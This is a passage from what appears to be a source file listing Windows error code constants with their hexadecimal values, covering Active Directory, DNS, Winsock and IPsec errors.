0x00002102\nERROR_DS_DRA_DB_ERROR                                                    = 0x00002103\nERROR_DS_DRA_NO_REPLICA                                                  = 0x00002104\nERROR_DS_DRA_ACCESS_DENIED                                               = 0x00002105\nERROR_DS_DRA_NOT_SUPPORTED                                               = 0x00002106\nERROR_DS_DRA_RPC_CANCELLED                                               = 0x00002107\nERROR_DS_DRA_SOURCE_DISABLED                                             = 0x00002108\nERROR_DS_DRA_SINK_DISABLED                                               = 0x00002109\nERROR_DS_DRA_NAME_COLLISION                                              = 0x0000210a\nERROR_DS_DRA_SOURCE_REINSTALLED                                          = 0x0000210b\nERROR_DS_DRA_MISSING_PARENT                                              = 0x0000210c\nERROR_DS_DRA_PREEMPTED                                                   = 0x0000210d\nERROR_DS_DRA_ABANDON_SYNC                                                = 0x0000210e\nERROR_DS_DRA_SHUTDOWN                                                    = 0x0000210f\nERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET                                    = 0x00002110\nERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA                                   = 0x00002111\nERROR_DS_DRA_EXTN_CONNECTION_FAILED                                      = 0x00002112\nERROR_DS_INSTALL_SCHEMA_MISMATCH                                         = 0x00002113\nERROR_DS_DUP_LINK_ID                                                     = 0x00002114\nERROR_DS_NAME_ERROR_RESOLVING                                            = 0x00002115\nERROR_DS_NAME_ERROR_NOT_FOUND                                            = 0x00002116\nERROR_DS_NAME_ERROR_NOT_UNIQUE                                           = 0x00002117\nERROR_DS_NAME_ERROR_NO_MAPPING                                           = 0x00002118\nERROR_DS_NAME_ERROR_DOMAIN_ONLY                                          = 0x00002119\nERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING                               = 0x0000211a\nERROR_DS_CONSTRUCTED_ATT_MOD                                             = 0x0000211b\nERROR_DS_WRONG_OM_OBJ_CLASS                                              = 0x0000211c\nERROR_DS_DRA_REPL_PENDING                                                = 0x0000211d\nERROR_DS_DS_REQUIRED                                                     = 0x0000211e\nERROR_DS_INVALID_LDAP_DISPLAY_NAME                                       = 0x0000211f\nERROR_DS_NON_BASE_SEARCH                                                 = 0x00002120\nERROR_DS_CANT_RETRIEVE_ATTS                                              = 0x00002121\nERROR_DS_BACKLINK_WITHOUT_LINK                                           = 0x00002122\nERROR_DS_EPOCH_MISMATCH                                                  = 0x00002123\nERROR_DS_SRC_NAME_MISMATCH                                               = 0x00002124\nERROR_DS_SRC_AND_DST_NC_IDENTICAL                                        = 0x00002125\nERROR_DS_DST_NC_MISMATCH                                                 = 0x00002126\nERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC                                      = 0x00002127\nERROR_DS_SRC_GUID_MISMATCH                                               = 0x00002128\nERROR_DS_CANT_MOVE_DELETED_OBJECT                                        = 0x00002129\nERROR_DS_PDC_OPERATION_IN_PROGRESS                                       = 0x0000212a\nERROR_DS_CROSS_DOMAIN_CLEANUP_REQD                                       = 0x0000212b\nERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION                                     = 0x0000212c\nERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS                                 = 0x0000212d\nERROR_DS_NC_MUST_HAVE_NC_PARENT                                          = 0x0000212e\nERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE                                       = 0x0000212f\nERROR_DS_DST_DOMAIN_NOT_NATIVE                                           = 0x00002130\nERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER                                = 0x00002131\nERROR_DS_CANT_MOVE_ACCOUNT_GROUP                                         = 0x00002132\nERROR_DS_CANT_MOVE_RESOURCE_GROUP                                        = 0x00002133\nERROR_DS_INVALID_SEARCH_FLAG                                             = 0x00002134\nERROR_DS_NO_TREE_DELETE_ABOVE_NC                                         = 0x00002135\nERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE                                    = 0x00002136\nERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE                        = 0x00002137\nERROR_DS_SAM_INIT_FAILURE                                                = 0x00002138\nERROR_DS_SENSITIVE_GROUP_VIOLATION                                       = 0x00002139\nERROR_DS_CANT_MOD_PRIMARYGROUPID                                         = 0x0000213a\nERROR_DS_ILLEGAL_BASE_SCHEMA_MOD                                         = 0x0000213b\nERROR_DS_NONSAFE_SCHEMA_CHANGE                                           = 0x0000213c\nERROR_DS_SCHEMA_UPDATE_DISALLOWED                                        = 0x0000213d\nERROR_DS_CANT_CREATE_UNDER_SCHEMA                                        = 0x0000213e\nERROR_DS_INSTALL_NO_SRC_SCH_VERSION                                      = 0x0000213f\nERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE                               = 0x00002140\nERROR_DS_INVALID_GROUP_TYPE                                              = 0x00002141\nERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN                              = 0x00002142\nERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN                               = 0x00002143\nERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER                                   = 0x00002144\nERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER                               = 0x00002145\nERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER                                = 0x00002146\nERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER                             = 0x00002147\nERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER                        = 0x00002148\nERROR_DS_HAVE_PRIMARY_MEMBERS                                            = 0x00002149\nERROR_DS_STRING_SD_CONVERSION_FAILED                                     = 0x0000214a\nERROR_DS_NAMING_MASTER_GC                                                = 0x0000214b\nERROR_DS_DNS_LOOKUP_FAILURE                                              = 0x0000214c\nERROR_DS_COULDNT_UPDATE_SPNS                                             = 0x0000214d\nERROR_DS_CANT_RETRIEVE_SD                                                = 0x0000214e\nERROR_DS_KEY_NOT_UNIQUE                                                  = 0x0000214f\nERROR_DS_WRONG_LINKED_ATT_SYNTAX                                         = 0x00002150\nERROR_DS_SAM_NEED_BOOTKEY_PASSWORD                                       = 0x00002151\nERROR_DS_SAM_NEED_BOOTKEY_FLOPPY                                         = 0x00002152\nERROR_DS_CANT_START                                                      = 0x00002153\nERROR_DS_INIT_FAILURE                                                    = 0x00002154\nERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION                                    = 0x00002155\nERROR_DS_SOURCE_DOMAIN_IN_FOREST                                         = 0x00002156\nERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST                                = 0x00002157\nERROR_DS_DESTINATION_AUDITING_NOT_ENABLED                                = 0x00002158\nERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN                                     = 0x00002159\nERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER                                       = 0x0000215a\nERROR_DS_SRC_SID_EXISTS_IN_FOREST                                        = 0x0000215b\nERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH                               = 0x0000215c\nERROR_SAM_INIT_FAILURE                                                   = 0x0000215d\nERROR_DS_DRA_SCHEMA_INFO_SHIP                                            = 0x0000215e\nERROR_DS_DRA_SCHEMA_CONFLICT                                             = 0x0000215f\nERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT                                     = 0x00002160\nERROR_DS_DRA_OBJ_NC_MISMATCH                                             = 0x00002161\nERROR_DS_NC_STILL_HAS_DSAS                                               = 0x00002162\nERROR_DS_GC_REQUIRED                                                     = 0x00002163\nERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY                                      = 0x00002164\nERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS                                      = 0x00002165\nERROR_DS_CANT_ADD_TO_GC                                                  = 0x00002166\nERROR_DS_NO_CHECKPOINT_WITH_PDC                                          = 0x00002167\nERROR_DS_SOURCE_AUDITING_NOT_ENABLED                                     = 0x00002168\nERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC                                     = 0x00002169\nERROR_DS_INVALID_NAME_FOR_SPN                                            = 0x0000216a\nERROR_DS_FILTER_USES_CONTRUCTED_ATTRS                                    = 0x0000216b\nERROR_DS_UNICODEPWD_NOT_IN_QUOTES                                        = 0x0000216c\nERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED                                  = 0x0000216d\nERROR_DS_MUST_BE_RUN_ON_DST_DC                                           = 0x0000216e\nERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER                                   = 0x0000216f\nERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ                                   = 0x00002170\nERROR_DS_INIT_FAILURE_CONSOLE                                            = 0x00002171\nERROR_DS_SAM_INIT_FAILURE_CONSOLE                                        = 0x00002172\nERROR_DS_FOREST_VERSION_TOO_HIGH                                         = 0x00002173\nERROR_DS_DOMAIN_VERSION_TOO_HIGH                                         = 0x00002174\nERROR_DS_FOREST_VERSION_TOO_LOW                                          = 0x00002175\nERROR_DS_DOMAIN_VERSION_TOO_LOW                                          = 0x00002176\nERROR_DS_INCOMPATIBLE_VERSION                                            = 0x00002177\nERROR_DS_LOW_DSA_VERSION                                                 = 0x00002178\nERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN                              = 0x00002179\nERROR_DS_NOT_SUPPORTED_SORT_ORDER                                        = 0x0000217a\nERROR_DS_NAME_NOT_UNIQUE                                                 = 0x0000217b\nERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4                                  = 0x0000217c\nERROR_DS_OUT_OF_VERSION_STORE                                            = 0x0000217d\nERROR_DS_INCOMPATIBLE_CONTROLS_USED                                      = 0x0000217e\nERROR_DS_NO_REF_DOMAIN                                                   = 0x0000217f\nERROR_DS_RESERVED_LINK_ID                                                = 0x00002180\nERROR_DS_LINK_ID_NOT_AVAILABLE                                           = 0x00002181\nERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER                                   = 0x00002182\nERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE                            = 0x00002183\nERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC                                     = 0x00002184\nERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG                                     = 0x00002185\nERROR_DS_MODIFYDN_WRONG_GRANDPARENT                                      = 0x00002186\nERROR_DS_NAME_ERROR_TRUST_REFERRAL                                       = 0x00002187\nERROR_NOT_SUPPORTED_ON_STANDARD_SERVER                                   = 0x00002188\nERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD                                   = 0x00002189\nERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2                                    = 0x0000218a\nERROR_DS_THREAD_LIMIT_EXCEEDED                                           = 0x0000218b\nERROR_DS_NOT_CLOSEST                                                     = 0x0000218c\nERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF                              = 0x0000218d\nERROR_DS_SINGLE_USER_MODE_FAILED                                         = 0x0000218e\nERROR_DS_NTDSCRIPT_SYNTAX_ERROR                                          = 0x0000218f\nERROR_DS_NTDSCRIPT_PROCESS_ERROR                                         = 0x00002190\nERROR_DS_DIFFERENT_REPL_EPOCHS                                           = 0x00002191\nERROR_DS_DRS_EXTENSIONS_CHANGED                                          = 0x00002192\nERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR                   = 0x00002193\nERROR_DS_NO_MSDS_INTID                                                   = 0x00002194\nERROR_DS_DUP_MSDS_INTID                                                  = 0x00002195\nERROR_DS_EXISTS_IN_RDNATTID                                              = 0x00002196\nERROR_DS_AUTHORIZATION_FAILED                                            = 0x00002197\nERROR_DS_INVALID_SCRIPT                                                  = 0x00002198\nERROR_DS_REMOTE_CROSSREF_OP_FAILED                                       = 0x00002199\nERROR_DS_CROSS_REF_BUSY                                                  = 0x0000219a\nERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN                              = 0x0000219b\nERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC                                   = 0x0000219c\nERROR_DS_DUPLICATE_ID_FOUND                                              = 0x0000219d\nERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT                              = 0x0000219e\nERROR_DS_GROUP_CONVERSION_ERROR                                          = 0x0000219f\nERROR_DS_CANT_MOVE_APP_BASIC_GROUP                                       = 0x000021a0\nERROR_DS_CANT_MOVE_APP_QUERY_GROUP                                       = 0x000021a1\nERROR_DS_ROLE_NOT_VERIFIED                                               = 0x000021a2\nERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL                                 = 0x000021a3\nERROR_DS_DOMAIN_RENAME_IN_PROGRESS                                       = 0x000021a4\nERROR_DS_EXISTING_AD_CHILD_NC                                            = 0x000021a5\nERROR_DS_REPL_LIFETIME_EXCEEDED                                          = 0x000021a6\nERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER                                  = 0x000021a7\nERROR_DS_LDAP_SEND_QUEUE_FULL                                            = 0x000021a8\nERROR_DS_DRA_OUT_SCHEDULE_WINDOW                                         = 0x000021a9\nERROR_DS_POLICY_NOT_KNOWN                                                = 0x000021aa\nERROR_NO_SITE_SETTINGS_OBJECT                                            = 0x000021ab\nERROR_NO_SECRETS                                                         = 0x000021ac\nERROR_NO_WRITABLE_DC_FOUND                                               = 0x000021ad\nERROR_DS_NO_SERVER_OBJECT                                                = 0x000021ae\nERROR_DS_NO_NTDSA_OBJECT                                                 = 0x000021af\nERROR_DS_NON_ASQ_SEARCH                                                  = 0x000021b0\nERROR_DS_AUDIT_FAILURE                                                   = 0x000021b1\nERROR_DS_INVALID_SEARCH_FLAG_SUBTREE                                     = 0x000021b2\nERROR_DS_INVALID_SEARCH_FLAG_TUPLE                                       = 0x000021b3\nERROR_DS_HIERARCHY_TABLE_TOO_DEEP                                        = 0x000021b4\nERROR_DS_DRA_CORRUPT_UTD_VECTOR                                          = 0x000021b5\nERROR_DS_DRA_SECRETS_DENIED                                              = 0x000021b6\nERROR_DS_RESERVED_MAPI_ID                                                = 0x000021b7\nERROR_DS_MAPI_ID_NOT_AVAILABLE                                           = 0x000021b8\nERROR_DS_DRA_MISSING_KRBTGT_SECRET                                       = 0x000021b9\nERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST                                    = 0x000021ba\nERROR_DS_FLAT_NAME_EXISTS_IN_FOREST                                      = 0x000021bb\nERROR_INVALID_USER_PRINCIPAL_NAME                                        = 0x000021bc\nERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS                              = 0x000021bd\nERROR_DS_OID_NOT_FOUND                                                   = 0x000021be\nERROR_DS_DRA_RECYCLED_TARGET                                             = 0x000021bf\nERROR_DS_DISALLOWED_NC_REDIRECT                                          = 0x000021c0\nERROR_DS_HIGH_ADLDS_FFL                                                  = 0x000021c1\nERROR_DS_HIGH_DSA_VERSION                                                = 0x000021c2\nERROR_DS_LOW_ADLDS_FFL                                                   = 0x000021c3\nERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION                               = 0x000021c4\nERROR_DS_UNDELETE_SAM_VALIDATION_FAILED                                  = 0x000021c5\nERROR_INCORRECT_ACCOUNT_TYPE                                             = 0x000021c6\nDNS_ERROR_RCODE_FORMAT_ERROR                                             = 0x00002329\nDNS_ERROR_RCODE_SERVER_FAILURE                                           = 0x0000232a\nDNS_ERROR_RCODE_NAME_ERROR                                               = 0x0000232b\nDNS_ERROR_RCODE_NOT_IMPLEMENTED                                          = 0x0000232c\nDNS_ERROR_RCODE_REFUSED                                                  = 0x0000232d\nDNS_ERROR_RCODE_YXDOMAIN                                                 = 0x0000232e\nDNS_ERROR_RCODE_YXRRSET                                                  = 0x0000232f\nDNS_ERROR_RCODE_NXRRSET                                                  = 0x00002330\nDNS_ERROR_RCODE_NOTAUTH                                                  = 0x00002331\nDNS_ERROR_RCODE_NOTZONE                                                  = 0x00002332\nDNS_ERROR_RCODE_BADSIG                                                   = 0x00002338\nDNS_ERROR_RCODE_BADKEY                                                   = 0x00002339\nDNS_ERROR_RCODE_BADTIME                                                  = 0x0000233a\nDNS_ERROR_KEYMASTER_REQUIRED                                             = 0x0000238d\nDNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE                                     = 0x0000238e\nDNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1                               = 0x0000238f\nDNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS                             = 0x00002390\nDNS_ERROR_UNSUPPORTED_ALGORITHM                                          = 0x00002391\nDNS_ERROR_INVALID_KEY_SIZE                                               = 0x00002392\nDNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE                                     = 0x00002393\nDNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION                                = 0x00002394\nDNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR                               = 0x00002395\nDNS_ERROR_UNEXPECTED_CNG_ERROR                                           = 0x00002396\nDNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION                              = 0x00002397\nDNS_ERROR_KSP_NOT_ACCESSIBLE                                             = 0x00002398\nDNS_ERROR_TOO_MANY_SKDS                                                  = 0x00002399\nDNS_ERROR_INVALID_ROLLOVER_PERIOD                                        = 0x0000239a\nDNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET                                = 0x0000239b\nDNS_ERROR_ROLLOVER_IN_PROGRESS                                           = 0x0000239c\nDNS_ERROR_STANDBY_KEY_NOT_PRESENT                                        = 0x0000239d\nDNS_ERROR_NOT_ALLOWED_ON_ZSK                                             = 0x0000239e\nDNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD                                      = 0x0000239f\nDNS_ERROR_ROLLOVER_ALREADY_QUEUED                                        = 0x000023a0\nDNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE                                   = 0x000023a1\nDNS_ERROR_BAD_KEYMASTER                                                  = 0x000023a2\nDNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD                              = 0x000023a3\nDNS_ERROR_INVALID_NSEC3_ITERATION_COUNT                                  = 0x000023a4\nDNS_ERROR_DNSSEC_IS_DISABLED                                             = 0x000023a5\nDNS_ERROR_INVALID_XML                                                    = 0x000023a6\nDNS_ERROR_NO_VALID_TRUST_ANCHORS                                         = 0x000023a7\nDNS_ERROR_ROLLOVER_NOT_POKEABLE                                          = 0x000023a8\nDNS_ERROR_NSEC3_NAME_COLLISION                                           = 0x000023a9\nDNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1                          = 0x000023aa\nDNS_INFO_NO_RECORDS                                                      = 0x0000251d\nDNS_ERROR_BAD_PACKET                                                     = 0x0000251e\nDNS_ERROR_NO_PACKET                                                      = 0x0000251f\nDNS_ERROR_RCODE                                                          = 0x00002520\nDNS_ERROR_UNSECURE_PACKET                                                = 0x00002521\nDNS_REQUEST_PENDING                                                      = 0x00002522\nDNS_ERROR_INVALID_TYPE                                                   = 0x0000254f\nDNS_ERROR_INVALID_IP_ADDRESS                                             = 0x00002550\nDNS_ERROR_INVALID_PROPERTY                                               = 0x00002551\nDNS_ERROR_TRY_AGAIN_LATER                                                = 0x00002552\nDNS_ERROR_NOT_UNIQUE                                                     = 0x00002553\nDNS_ERROR_NON_RFC_NAME                                                   = 0x00002554\nDNS_STATUS_FQDN                                                          = 0x00002555\nDNS_STATUS_DOTTED_NAME                                                   = 0x00002556\nDNS_STATUS_SINGLE_PART_NAME                                              = 0x00002557\nDNS_ERROR_INVALID_NAME_CHAR                                              = 0x00002558\nDNS_ERROR_NUMERIC_NAME                                                   = 0x00002559\nDNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER                                     = 0x0000255a\nDNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION                                   = 0x0000255b\nDNS_ERROR_CANNOT_FIND_ROOT_HINTS                                         = 0x0000255c\nDNS_ERROR_INCONSISTENT_ROOT_HINTS                                        = 0x0000255d\nDNS_ERROR_DWORD_VALUE_TOO_SMALL                                          = 0x0000255e\nDNS_ERROR_DWORD_VALUE_TOO_LARGE                                          = 0x0000255f\nDNS_ERROR_BACKGROUND_LOADING                                             = 0x00002560\nDNS_ERROR_NOT_ALLOWED_ON_RODC                                            = 0x00002561\nDNS_ERROR_NOT_ALLOWED_UNDER_DNAME                                        = 0x00002562\nDNS_ERROR_DELEGATION_REQUIRED                                            = 0x00002563\nDNS_ERROR_INVALID_POLICY_TABLE                                           = 0x00002564\nDNS_ERROR_ZONE_DOES_NOT_EXIST                                            = 0x00002581\nDNS_ERROR_NO_ZONE_INFO                                                   = 0x00002582\nDNS_ERROR_INVALID_ZONE_OPERATION                                         = 0x00002583\nDNS_ERROR_ZONE_CONFIGURATION_ERROR                                       = 0x00002584\nDNS_ERROR_ZONE_HAS_NO_SOA_RECORD                                         = 0x00002585\nDNS_ERROR_ZONE_HAS_NO_NS_RECORDS                                         = 0x00002586\nDNS_ERROR_ZONE_LOCKED                                                    = 0x00002587\nDNS_ERROR_ZONE_CREATION_FAILED                                           = 0x00002588\nDNS_ERROR_ZONE_ALREADY_EXISTS                                            = 0x00002589\nDNS_ERROR_AUTOZONE_ALREADY_EXISTS                                        = 0x0000258a\nDNS_ERROR_INVALID_ZONE_TYPE                                              = 0x0000258b\nDNS_ERROR_SECONDARY_REQUIRES_MASTER_IP                                   = 0x0000258c\nDNS_ERROR_ZONE_NOT_SECONDARY                                             = 0x0000258d\nDNS_ERROR_NEED_SECONDARY_ADDRESSES                                       = 0x0000258e\nDNS_ERROR_WINS_INIT_FAILED                                               = 0x0000258f\nDNS_ERROR_NEED_WINS_SERVERS                                              = 0x00002590\nDNS_ERROR_NBSTAT_INIT_FAILED                                             = 0x00002591\nDNS_ERROR_SOA_DELETE_INVALID                                             = 0x00002592\nDNS_ERROR_FORWARDER_ALREADY_EXISTS                                       = 0x00002593\nDNS_ERROR_ZONE_REQUIRES_MASTER_IP                                        = 0x00002594\nDNS_ERROR_ZONE_IS_SHUTDOWN                                               = 0x00002595\nDNS_ERROR_ZONE_LOCKED_FOR_SIGNING                                        = 0x00002596\nDNS_ERROR_PRIMARY_REQUIRES_DATAFILE                                      = 0x000025b3\nDNS_ERROR_INVALID_DATAFILE_NAME                                          = 0x000025b4\nDNS_ERROR_DATAFILE_OPEN_FAILURE                                          = 0x000025b5\nDNS_ERROR_FILE_WRITEBACK_FAILED                                          = 0x000025b6\nDNS_ERROR_DATAFILE_PARSING                                               = 0x000025b7\nDNS_ERROR_RECORD_DOES_NOT_EXIST                                          = 0x000025e5\nDNS_ERROR_RECORD_FORMAT                                                  = 0x000025e6\nDNS_ERROR_NODE_CREATION_FAILED                                           = 0x000025e7\nDNS_ERROR_UNKNOWN_RECORD_TYPE                                            = 0x000025e8\nDNS_ERROR_RECORD_TIMED_OUT                                               = 0x000025e9\nDNS_ERROR_NAME_NOT_IN_ZONE                                               = 0x000025ea\nDNS_ERROR_CNAME_LOOP                                                     = 0x000025eb\nDNS_ERROR_NODE_IS_CNAME                                                  = 0x000025ec\nDNS_ERROR_CNAME_COLLISION                                                = 0x000025ed\nDNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT                                       = 0x000025ee\nDNS_ERROR_RECORD_ALREADY_EXISTS                                          = 0x000025ef\nDNS_ERROR_SECONDARY_DATA                                                 = 0x000025f0\nDNS_ERROR_NO_CREATE_CACHE_DATA                                           = 0x000025f1\nDNS_ERROR_NAME_DOES_NOT_EXIST                                            = 0x000025f2\nDNS_WARNING_PTR_CREATE_FAILED                                            = 0x000025f3\nDNS_WARNING_DOMAIN_UNDELETED                                             = 0x000025f4\nDNS_ERROR_DS_UNAVAILABLE                                                 = 0x000025f5\nDNS_ERROR_DS_ZONE_ALREADY_EXISTS                                         = 0x000025f6\nDNS_ERROR_NO_BOOTFILE_IF_DS_ZONE                                         = 0x000025f7\nDNS_ERROR_NODE_IS_DNAME                                                  = 0x000025f8\nDNS_ERROR_DNAME_COLLISION                                                = 0x000025f9\nDNS_ERROR_ALIAS_LOOP                                                     = 0x000025fa\nDNS_INFO_AXFR_COMPLETE                                                   = 0x00002617\nDNS_ERROR_AXFR                                                           = 0x00002618\nDNS_INFO_ADDED_LOCAL_WINS                                                = 0x00002619\nDNS_STATUS_CONTINUE_NEEDED                                               = 0x00002649\nDNS_ERROR_NO_TCPIP                                                       = 0x0000267b\nDNS_ERROR_NO_DNS_SERVERS                                                 = 0x0000267c\nDNS_ERROR_DP_DOES_NOT_EXIST                                              = 0x000026ad\nDNS_ERROR_DP_ALREADY_EXISTS                                              = 0x000026ae\nDNS_ERROR_DP_NOT_ENLISTED                                                = 0x000026af\nDNS_ERROR_DP_ALREADY_ENLISTED                                            = 0x000026b0\nDNS_ERROR_DP_NOT_AVAILABLE                                               = 0x000026b1\nDNS_ERROR_DP_FSMO_ERROR                                                  = 0x000026b2\nWSAEINTR                                                                 = 0x00002714\nWSAEBADF                                                                 = 0x00002719\nWSAEACCES                                                                = 0x0000271d\nWSAEFAULT                                                                = 0x0000271e\nWSAEINVAL                                                                = 0x00002726\nWSAEMFILE                                                                = 0x00002728\nWSAEWOULDBLOCK                                                           = 0x00002733\nWSAEINPROGRESS                                                           = 0x00002734\nWSAEALREADY                                                              = 0x00002735\nWSAENOTSOCK                                                              = 0x00002736\nWSAEDESTADDRREQ                                                          = 0x00002737\nWSAEMSGSIZE                                                              = 0x00002738\nWSAEPROTOTYPE                                                            = 0x00002739\nWSAENOPROTOOPT                                                           = 0x0000273a\nWSAEPROTONOSUPPORT                                                       = 0x0000273b\nWSAESOCKTNOSUPPORT                                                       = 0x0000273c\nWSAEOPNOTSUPP                                                            = 0x0000273d\nWSAEPFNOSUPPORT                                                          = 0x0000273e\nWSAEAFNOSUPPORT                                                          = 0x0000273f\nWSAEADDRINUSE                                                            = 0x00002740\nWSAEADDRNOTAVAIL                                                         = 0x00002741\nWSAENETDOWN                                                              = 0x00002742\nWSAENETUNREACH                                                           = 0x00002743\nWSAENETRESET                                                             = 0x00002744\nWSAECONNABORTED                                                          = 0x00002745\nWSAECONNRESET                                                            = 0x00002746\nWSAENOBUFS                                                               = 0x00002747\nWSAEISCONN                                                               = 0x00002748\nWSAENOTCONN                                                              = 0x00002749\nWSAESHUTDOWN                                                             = 0x0000274a\nWSAETOOMANYREFS                                                          = 0x0000274b\nWSAETIMEDOUT                                                             = 0x0000274c\nWSAECONNREFUSED                                                          = 0x0000274d\nWSAELOOP                                                                 = 0x0000274e\nWSAENAMETOOLONG                                                          = 0x0000274f\nWSAEHOSTDOWN                                                             = 0x00002750\nWSAEHOSTUNREACH                                                          = 0x00002751\nWSAENOTEMPTY                                                             = 0x00002752\nWSAEPROCLIM                                                              = 0x00002753\nWSAEUSERS                                                                = 0x00002754\nWSAEDQUOT                                                                = 0x00002755\nWSAESTALE                                                                = 0x00002756\nWSAEREMOTE                                                               = 0x00002757\nWSASYSNOTREADY                                                           = 0x0000276b\nWSAVERNOTSUPPORTED                                                       = 0x0000276c\nWSANOTINITIALISED                                                        = 0x0000276d\nWSAEDISCON                                                               = 0x00002775\nWSAENOMORE                                                               = 0x00002776\nWSAECANCELLED                                                            = 0x00002777\nWSAEINVALIDPROCTABLE                                                     = 0x00002778\nWSAEINVALIDPROVIDER                                                      = 0x00002779\nWSAEPROVIDERFAILEDINIT                                                   = 0x0000277a\nWSASYSCALLFAILURE                                                        = 0x0000277b\nWSASERVICE_NOT_FOUND                                                     = 0x0000277c\nWSATYPE_NOT_FOUND                                                        = 0x0000277d\nWSA_E_NO_MORE                                                            = 0x0000277e\nWSA_E_CANCELLED                                                          = 0x0000277f\nWSAEREFUSED                                                              = 0x00002780\nWSAHOST_NOT_FOUND                                                        = 0x00002af9\nWSATRY_AGAIN                                                             = 0x00002afa\nWSANO_RECOVERY                                                           = 0x00002afb\nWSANO_DATA                                                               = 0x00002afc\nWSA_QOS_RECEIVERS                                                        = 0x00002afd\nWSA_QOS_SENDERS                                                          = 0x00002afe\nWSA_QOS_NO_SENDERS                                                       = 0x00002aff\nWSA_QOS_NO_RECEIVERS                                                     = 0x00002b00\nWSA_QOS_REQUEST_CONFIRMED                                                = 0x00002b01\nWSA_QOS_ADMISSION_FAILURE                                                = 0x00002b02\nWSA_QOS_POLICY_FAILURE                                                   = 0x00002b03\nWSA_QOS_BAD_STYLE                                                        = 0x00002b04\nWSA_QOS_BAD_OBJECT                                                       = 0x00002b05\nWSA_QOS_TRAFFIC_CTRL_ERROR                                               = 0x00002b06\nWSA_QOS_GENERIC_ERROR                                                    = 0x00002b07\nWSA_QOS_ESERVICETYPE                                                     = 0x00002b08\nWSA_QOS_EFLOWSPEC                                                        = 0x00002b09\nWSA_QOS_EPROVSPECBUF                                                     = 0x00002b0a\nWSA_QOS_EFILTERSTYLE                                                     = 0x00002b0b\nWSA_QOS_EFILTERTYPE                                                      = 0x00002b0c\nWSA_QOS_EFILTERCOUNT                                                     = 0x00002b0d\nWSA_QOS_EOBJLENGTH                                                       = 0x00002b0e\nWSA_QOS_EFLOWCOUNT                                                       = 0x00002b0f\nWSA_QOS_EUNKOWNPSOBJ                                                     = 0x00002b10\nWSA_QOS_EPOLICYOBJ                                                       = 0x00002b11\nWSA_QOS_EFLOWDESC                                                        = 0x00002b12\nWSA_QOS_EPSFLOWSPEC                                                      = 0x00002b13\nWSA_QOS_EPSFILTERSPEC                                                    = 0x00002b14\nWSA_QOS_ESDMODEOBJ                                                       = 0x00002b15\nWSA_QOS_ESHAPERATEOBJ                                                    = 0x00002b16\nWSA_QOS_RESERVED_PETYPE                                                  = 0x00002b17\nWSA_SECURE_HOST_NOT_FOUND                                                = 0x00002b18\nWSA_IPSEC_NAME_POLICY_ERROR                                              = 0x00002b19\nERROR_IPSEC_QM_POLICY_EXISTS                                             = 0x000032c8\nERROR_IPSEC_QM_POLICY_NOT_FOUND                                          = 0x000032c9\nERROR_IPSEC_QM_POLICY_IN_USE                                             = 0x000032ca\nERROR_IPSEC_MM_POLICY_EXISTS                                      